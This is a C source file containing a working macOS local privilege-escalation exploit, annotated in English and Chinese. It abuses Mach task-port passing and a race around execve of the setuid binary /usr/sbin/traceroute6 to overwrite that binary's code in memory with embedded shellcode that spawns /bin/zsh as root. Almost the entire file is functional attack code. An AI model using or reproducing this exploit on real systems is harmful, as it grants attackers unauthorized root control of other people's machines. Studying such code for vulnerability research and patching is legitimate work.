#include <mach/mach.h>
#include <mach/mach_error.h>
#include <mach/mach_vm.h>
#include <servers/bootstrap.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// execve("/bin/zsh", {"/bin/sh", 0}, 0); // honest!
char shellcode[] = "\xe8\x09\x00\x00\x00\x2f\x62\x69\x6e\x2f\x7a\x73\x68\x00\x5f\x48"
"\x31\xdb\x53\x57\x48\x89\xe6\x48\x31\xd2\xb8\x3b\x00\x00\x02\x0f"
"\x05";
char* service_name = "task_deposit_service";
char* suid_binary_path = "/usr/sbin/traceroute6";
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t port;
} task_msg_send_t;
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t port;
mach_msg_trailer_t trailer;
} task_msg_recv_t;
typedef struct {
mach_msg_header_t header;
} ack_msg_send_t;
typedef struct {
mach_msg_header_t header;
mach_msg_trailer_t trailer;
} ack_msg_recv_t;
void do_parent(mach_port_t service_port) {
kern_return_t err;
// generate the page we want to write into the child:
//生成一页想要写入子进程的内存
mach_vm_address_t addr = 0;
err = mach_vm_allocate(mach_task_self(),
&addr,
4096,
VM_FLAGS_ANYWHERE);
if (err != KERN_SUCCESS) {
mach_error("failed to mach_vm_allocate memory", err);
return;
}
FILE* f = fopen(suid_binary_path, "r");
fseek(f, 0x1000, SEEK_SET);
fread((char*)addr, 0x1000, 1, f);
fclose(f);
memcpy(((char*)addr)+0x53c, shellcode, sizeof(shellcode));
// wait to get the child's task port on the service port:
//等待子进程发送过来的任务端口
task_msg_recv_t msg = {0};
err = mach_msg(&msg.header,
MACH_RCV_MSG,
0,
sizeof(msg),
service_port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
if (err != KERN_SUCCESS) {
mach_error("error receiving service message", err);
return;
}
mach_port_t target_task_port = msg.port.name;
// before we ack the task port message to signal that the other process should execve the suid
// binary get the lowest mapped address:
//对任务端口的消息做出应答之前确定是否为setuid的进程
struct vm_region_basic_info_64 region;
mach_msg_type_number_t region_count = VM_REGION_BASIC_INFO_COUNT_64;
memory_object_name_t object_name = MACH_PORT_NULL; /* unused */
mach_vm_size_t target_first_size = 0x1000;
mach_vm_address_t original_first_addr = 0x0;
//获取虚拟内存的信息
err = mach_vm_region(target_task_port,
&original_first_addr,
&target_first_size,
VM_REGION_BASIC_INFO_64,
(vm_region_info_t)®ion,
®ion_count,
&object_name);
if (err != KERN_SUCCESS) {
mach_error("unable to get first mach_vm_region for target process\n", err);
return;
}
printf("[+] looks like the target processes lowest mapping is at %zx prior to execve\n", original_first_addr);
// send an ack message to the reply port indicating that we have the thread port
//发送消息作出回应
ack_msg_send_t ack = {0};
mach_msg_type_name_t reply_port_rights = MACH_MSGH_BITS_REMOTE(msg.header.msgh_bits);
ack.header.msgh_bits = MACH_MSGH_BITS(reply_port_rights, 0);
ack.header.msgh_size = sizeof(ack);
ack.header.msgh_local_port = MACH_PORT_NULL;
ack.header.msgh_remote_port = msg.header.msgh_remote_port;
ack.header.msgh_bits = MACH_MSGH_BITS(reply_port_rights, 0); // use the same rights we got
err = mach_msg_send(&ack.header);
if (err != KERN_SUCCESS) {
mach_error("parent failed sending ack", err);
return;
}
mach_vm_address_t target_first_addr = 0x0;
//不断地循环直到获得的内存信息与之前不同
for (;;) {
// wait until we see that the map has been swapped and the binary is loaded into it:
region_count = VM_REGION_BASIC_INFO_COUNT_64;
object_name = MACH_PORT_NULL; /* unused */
target_first_size = 0x1000;
target_first_addr = 0x0;
err = mach_vm_region(target_task_port,
&target_first_addr,
&target_first_size,
VM_REGION_BASIC_INFO_64,
(vm_region_info_t)®ion,
®ion_count,
&object_name);
if (target_first_addr != original_first_addr && target_first_addr < 0x200000000) {
// the first address has changed implying that the map was swapped
// let's try to win the race
break;
}
}
mach_vm_address_t target_addr = target_first_addr + 0x1000;
mach_msg_type_number_t target_size = 0x1000;
mach_vm_protect(target_task_port, target_addr, target_size, 0, VM_PROT_READ | VM_PROT_WRITE | VM_PROT_EXECUTE);
mach_vm_write(target_task_port, target_addr, addr, target_size);
printf("hopefully overwrote some code in the target...\n");
printf("the target first addr changed to %zx\n", target_first_addr);
}
void do_child() {
kern_return_t err;
mach_port_t bootstrap_port;
err = task_get_bootstrap_port(mach_task_self(), &bootstrap_port);
if (err != KERN_SUCCESS) {
mach_error("child can't get bootstrap port", err);
return;
}
mach_port_t service_port;
err = bootstrap_look_up(bootstrap_port, service_name, &service_port);
if (err != KERN_SUCCESS) {
mach_error("child can't get service port", err);
return;
}
// create a reply port:
//创建一个有接收消息权限的port
mach_port_t reply_port;
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
if (err != KERN_SUCCESS) {
mach_error("child unable to allocate reply port", err);
return;
}
// send it our task port
//将我们的任务端口发送给父进程
task_msg_send_t msg = {0};
msg.header.msgh_size = sizeof(msg);
msg.header.msgh_local_port = reply_port;
msg.header.msgh_remote_port = service_port;
msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE) | MACH_MSGH_BITS_COMPLEX;
msg.body.msgh_descriptor_count = 1;
msg.port.name = mach_task_self();
msg.port.disposition = MACH_MSG_TYPE_COPY_SEND;
msg.port.type = MACH_MSG_PORT_DESCRIPTOR;
err = mach_msg_send(&msg.header);
if (err != KERN_SUCCESS) {
mach_error("child unable to send thread port message", err);
return;
}
// wait for a reply to ack that the other end got our thread port
//等待父进程的应答
ack_msg_recv_t reply = {0};
err = mach_msg(&reply.header, MACH_RCV_MSG, 0, sizeof(reply), reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (err != KERN_SUCCESS) {
mach_error("child unable to receive ack", err);
return;
}
// exec the suid-root binary
//执行有root权限的setuid进程
char* argv[] = {suid_binary_path, "-w", "rofl", NULL};
char* envp[] = {NULL};
execve(suid_binary_path, argv, envp);
}
int main() {
kern_return_t err;
// register a name with launchd
mach_port_t bootstrap_port;
err = task_get_bootstrap_port(mach_task_self(), &bootstrap_port);
if (err != KERN_SUCCESS) {
mach_error("can't get bootstrap port", err);
return 1;
}
//创建一个具有接收消息权限的port
mach_port_t service_port;
err = mach_port_allocate(mach_task_self(),
MACH_PORT_RIGHT_RECEIVE,
&service_port);
if (err != KERN_SUCCESS) {
mach_error("can't allocate service port", err);
return 1;
}
//为port添加发送权限
err = mach_port_insert_right(mach_task_self(),
service_port,
service_port,
MACH_MSG_TYPE_MAKE_SEND);
if (err != KERN_SUCCESS) {
mach_error("can't insert make send right", err);
return 1;
}
//注册一个全局port
err = bootstrap_register(bootstrap_port, service_name, service_port);
if (err != KERN_SUCCESS) {
mach_error("can't register service port", err);
return 1;
}
printf("[+] registered service \"%s\" with launchd to receive child thread port\n", service_name);
// fork a child
//fork子进程,做出判断决定调用哪个函数
pid_t child_pid = fork();
if (child_pid == 0) {
do_child();
} else {
do_parent(service_port);
int status;
wait(&status);
}
return 0;
}